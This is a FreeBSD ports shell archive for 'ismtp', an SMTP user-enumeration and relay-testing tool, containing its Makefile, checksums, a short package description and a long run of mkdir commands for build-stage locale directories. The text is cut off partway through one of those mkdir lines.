# ismtp/work/ipwn-32bbc05/iSMTP.py # ismtp/work/ipwn-32bbc05/smbspider.py # echo c - ismtp mkdir -p ismtp > /dev/null 2>&1 echo x - ismtp/distinfo sed 's/^X//' >ismtp/distinfo << '87250d7702f6d5d4f6fc2f626164c0e9' XTIMESTAMP = 1466493774 XSHA256 (altjx-ipwn-v1.5-32bbc05_GH0.tar.gz) = e45307700c9061222c83200f87757eb0977a2f4d28473b35cbbc432a0d7f4092 XSIZE (altjx-ipwn-v1.5-32bbc05_GH0.tar.gz) = 38221 87250d7702f6d5d4f6fc2f626164c0e9 echo x - ismtp/Makefile sed 's/^X//' >ismtp/Makefile << '73da72157a962218290c11e581c8d279' X# $FreeBSD$ X XPORTNAME= ismtp XPORTVERSION= 1.5 XDISTVERSIONPREFIX= v XCATEGORIES= security XMASTER_SITES= GH X XMAINTAINER= rihaz.jerrin@gmail.com XCOMMENT= Test for SMTP user enumeration,internal spoofing, and relay X XLICENSE= MIT X XUSES= python:2.7 shebangfix X XUSE_GITHUB= yes XGH_ACCOUNT= altjx XGH_PROJECT= ipwn XGH_TAGNAME= 32bbc05 X XNO_BUILD= yes X XSHEBANG_FILES= ${WRKSRC}/iSMTP.py X Xdo-install: X ${INSTALL_SCRIPT} ${WRKSRC}/iSMTP.py ${STAGEDIR}${PREFIX}/bin/ismtp X XPLIST_FILES= bin/ismtp X X.include 73da72157a962218290c11e581c8d279 echo x - ismtp/pkg-descr sed 's/^X//' >ismtp/pkg-descr << '2c1951bb9d516315fe32795473f4e2e6' XSMTP user enumeration (RCPT TO and VRFY), Xinternal spoofing, and open relay. XA tool that tested for all three and Xwith great flexibility. iSMTP does just that, Xmaking it much easier to knock that process out of the way. X XWWW: https://github.com/altjx/ipwn/tree/master/iSMTP 2c1951bb9d516315fe32795473f4e2e6 echo c - ismtp/work mkdir -p ismtp/work > /dev/null 2>&1 echo x - ismtp/work/.stage_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.stage_done.ismtp._usr_local << '197610e3b4daf92dc650c79bf1916d2e' 197610e3b4daf92dc650c79bf1916d2e echo x - ismtp/work/.install_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.install_done.ismtp._usr_local << '31ff9e8dd21242a1951a8088434f0d92' 31ff9e8dd21242a1951a8088434f0d92 echo x - ismtp/work/.PLIST.flattened sed 's/^X//' >ismtp/work/.PLIST.flattened << '9375058099c5e445bc64468ec4934fdd' X/usr/local/bin/ismtp X/usr/local/share/licenses/ismtp-1.5/catalog.mk X/usr/local/share/licenses/ismtp-1.5/LICENSE X/usr/local/share/licenses/ismtp-1.5/MIT 9375058099c5e445bc64468ec4934fdd echo c - ismtp/work/stage mkdir -p ismtp/work/stage > /dev/null 2>&1 echo c - ismtp/work/stage/usr mkdir -p ismtp/work/stage/usr > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local mkdir -p ismtp/work/stage/usr/local > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share mkdir -p ismtp/work/stage/usr/local/share > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/doc mkdir -p ismtp/work/stage/usr/local/share/doc > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/doc/ja mkdir -p ismtp/work/stage/usr/local/share/doc/ja > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/pixmaps mkdir -p ismtp/work/stage/usr/local/share/pixmaps > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale mkdir -p ismtp/work/stage/usr/local/share/locale > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en_GB mkdir -p ismtp/work/stage/usr/local/share/locale/en_GB > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en_GB/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/en_GB/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/nn mkdir -p ismtp/work/stage/usr/local/share/locale/nn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/nn/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/nn/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/uk mkdir -p ismtp/work/stage/usr/local/share/locale/uk > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/uk/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/uk/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ja mkdir -p ismtp/work/stage/usr/local/share/locale/ja > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ja/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ja/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/de mkdir -p ismtp/work/stage/usr/local/share/locale/de > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/de/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/de/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ml mkdir -p ismtp/work/stage/usr/local/share/locale/ml > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ml/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ml/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/es_MX mkdir -p ismtp/work/stage/usr/local/share/locale/es_MX > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/es_MX/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/es_MX/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/vi mkdir -p ismtp/work/stage/usr/local/share/locale/vi > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/vi/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/vi/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/de_AT mkdir -p ismtp/work/stage/usr/local/share/locale/de_AT > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/de_AT/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/de_AT/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sq mkdir -p ismtp/work/stage/usr/local/share/locale/sq > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sq/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/sq/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/th mkdir -p ismtp/work/stage/usr/local/share/locale/th > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/th/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/th/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fr_FR mkdir -p ismtp/work/stage/usr/local/share/locale/fr_FR > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fr_FR/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/fr_FR/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/el mkdir -p ismtp/work/stage/usr/local/share/locale/el > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/el/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/el/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/lv mkdir -p ismtp/work/stage/usr/local/share/locale/lv > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/lv/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/lv/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/eu mkdir -p ismtp/work/stage/usr/local/share/locale/eu > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/eu/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/eu/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/br mkdir -p ismtp/work/stage/usr/local/share/locale/br > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/br/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/br/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pt mkdir -p ismtp/work/stage/usr/local/share/locale/pt > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pt/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/pt/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ko mkdir -p ismtp/work/stage/usr/local/share/locale/ko > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ko/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ko/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en_AU mkdir -p ismtp/work/stage/usr/local/share/locale/en_AU > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en_AU/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/en_AU/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/az mkdir -p ismtp/work/stage/usr/local/share/locale/az > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/az/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/az/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sv mkdir -p ismtp/work/stage/usr/local/share/locale/sv > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sv/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/sv/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fi mkdir -p ismtp/work/stage/usr/local/share/locale/fi > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fi/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/fi/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/mk mkdir -p ismtp/work/stage/usr/local/share/locale/mk > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/mk/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/mk/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/id mkdir -p ismtp/work/stage/usr/local/share/locale/id > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/id/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/id/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ru mkdir -p ismtp/work/stage/usr/local/share/locale/ru > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ru/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ru/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ro mkdir -p ismtp/work/stage/usr/local/share/locale/ro > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ro/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ro/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/it mkdir -p ismtp/work/stage/usr/local/share/locale/it > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/it/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/it/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_TW.Big5 mkdir -p ismtp/work/stage/usr/local/share/locale/zh_TW.Big5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_TW.Big5/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/zh_TW.Big5/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ca mkdir -p ismtp/work/stage/usr/local/share/locale/ca > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ca/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ca/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ta mkdir -p ismtp/work/stage/usr/local/share/locale/ta > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ta/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ta/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/tk mkdir -p ismtp/work/stage/usr/local/share/locale/tk > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/tk/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/tk/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sl mkdir -p ismtp/work/stage/usr/local/share/locale/sl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sl/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/sl/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sr mkdir -p ismtp/work/stage/usr/local/share/locale/sr > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sr/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/sr/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/hi mkdir -p ismtp/work/stage/usr/local/share/locale/hi > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/hi/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/hi/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ka mkdir -p ismtp/work/stage/usr/local/share/locale/ka > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ka/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ka/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/eo mkdir -p ismtp/work/stage/usr/local/share/locale/eo > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/eo/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/eo/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ee mkdir -p ismtp/work/stage/usr/local/share/locale/ee > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ee/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ee/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fa_IR mkdir -p ismtp/work/stage/usr/local/share/locale/fa_IR > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fa_IR/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/fa_IR/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/be mkdir -p ismtp/work/stage/usr/local/share/locale/be > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/be/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/be/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pt_BR mkdir -p ismtp/work/stage/usr/local/share/locale/pt_BR > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pt_BR/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/pt_BR/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pt_PT mkdir -p ismtp/work/stage/usr/local/share/locale/pt_PT > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pt_PT/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/pt_PT/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sr@Latn mkdir -p ismtp/work/stage/usr/local/share/locale/sr@Latn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sr@Latn/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/sr@Latn/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/am mkdir -p ismtp/work/stage/usr/local/share/locale/am > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/am/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/am/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/tr mkdir -p ismtp/work/stage/usr/local/share/locale/tr > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/tr/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/tr/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh mkdir -p ismtp/work/stage/usr/local/share/locale/zh > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/zh/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sk mkdir -p ismtp/work/stage/usr/local/share/locale/sk > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/sk/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/sk/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/da mkdir -p ismtp/work/stage/usr/local/share/locale/da > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/da/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/da/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/dk mkdir -p ismtp/work/stage/usr/local/share/locale/dk > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/dk/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/dk/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/is mkdir -p ismtp/work/stage/usr/local/share/locale/is > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/is/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/is/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/mt mkdir -p ismtp/work/stage/usr/local/share/locale/mt > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/mt/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/mt/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en_CA mkdir -p ismtp/work/stage/usr/local/share/locale/en_CA > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en_CA/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/en_CA/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/gu mkdir -p ismtp/work/stage/usr/local/share/locale/gu > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/gu/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/gu/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ga mkdir -p ismtp/work/stage/usr/local/share/locale/ga > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ga/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ga/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/nb mkdir -p ismtp/work/stage/usr/local/share/locale/nb > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/nb/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/nb/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pa mkdir -p ismtp/work/stage/usr/local/share/locale/pa > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pa/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/pa/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/bs mkdir -p ismtp/work/stage/usr/local/share/locale/bs > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/bs/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/bs/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/et mkdir -p ismtp/work/stage/usr/local/share/locale/et > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/et/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/et/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/bg mkdir -p ismtp/work/stage/usr/local/share/locale/bg > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/bg/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/bg/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/kn mkdir -p ismtp/work/stage/usr/local/share/locale/kn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/kn/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/kn/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/li mkdir -p ismtp/work/stage/usr/local/share/locale/li > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/li/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/li/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/hr mkdir -p ismtp/work/stage/usr/local/share/locale/hr > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/hr/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/hr/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/or mkdir -p ismtp/work/stage/usr/local/share/locale/or > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/or/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/or/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/hu mkdir -p ismtp/work/stage/usr/local/share/locale/hu > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/hu/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/hu/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/wa mkdir -p ismtp/work/stage/usr/local/share/locale/wa > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/wa/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/wa/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/es mkdir -p ismtp/work/stage/usr/local/share/locale/es > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/es/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/es/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/es_ES mkdir -p ismtp/work/stage/usr/local/share/locale/es_ES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/es_ES/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/es_ES/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pl mkdir -p ismtp/work/stage/usr/local/share/locale/pl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/pl/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/pl/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/no mkdir -p ismtp/work/stage/usr/local/share/locale/no > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/no/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/no/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/gl mkdir -p ismtp/work/stage/usr/local/share/locale/gl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/gl/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/gl/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ne mkdir -p ismtp/work/stage/usr/local/share/locale/ne > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ne/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ne/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_CN.GB2312 mkdir -p ismtp/work/stage/usr/local/share/locale/zh_CN.GB2312 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_CN.GB2312/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/zh_CN.GB2312/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ms mkdir -p ismtp/work/stage/usr/local/share/locale/ms > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ms/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ms/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/cs mkdir -p ismtp/work/stage/usr/local/share/locale/cs > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/cs/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/cs/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/cy mkdir -p ismtp/work/stage/usr/local/share/locale/cy > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/cy/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/cy/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/uz mkdir -p ismtp/work/stage/usr/local/share/locale/uz > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/uz/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/uz/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/bn mkdir -p ismtp/work/stage/usr/local/share/locale/bn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/bn/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/bn/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/lt mkdir -p ismtp/work/stage/usr/local/share/locale/lt > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/lt/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/lt/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_TW mkdir -p ismtp/work/stage/usr/local/share/locale/zh_TW > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_TW/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/zh_TW/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/af mkdir -p ismtp/work/stage/usr/local/share/locale/af > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/af/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/af/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fa mkdir -p ismtp/work/stage/usr/local/share/locale/fa > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fa/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/fa/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/he mkdir -p ismtp/work/stage/usr/local/share/locale/he > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/he/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/he/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/tg mkdir -p ismtp/work/stage/usr/local/share/locale/tg > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/tg/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/tg/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ar mkdir -p ismtp/work/stage/usr/local/share/locale/ar > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/ar/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/ar/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fr mkdir -p ismtp/work/stage/usr/local/share/locale/fr > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/fr/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/fr/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en mkdir -p ismtp/work/stage/usr/local/share/locale/en > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/en/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/en/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/nl mkdir -p ismtp/work/stage/usr/local/share/locale/nl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/nl/LC_MESSAGES mkdir -p ismtp/work/stage/usr/local/share/locale/nl/LC_MESSAGES > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/share/locale/zh_CN 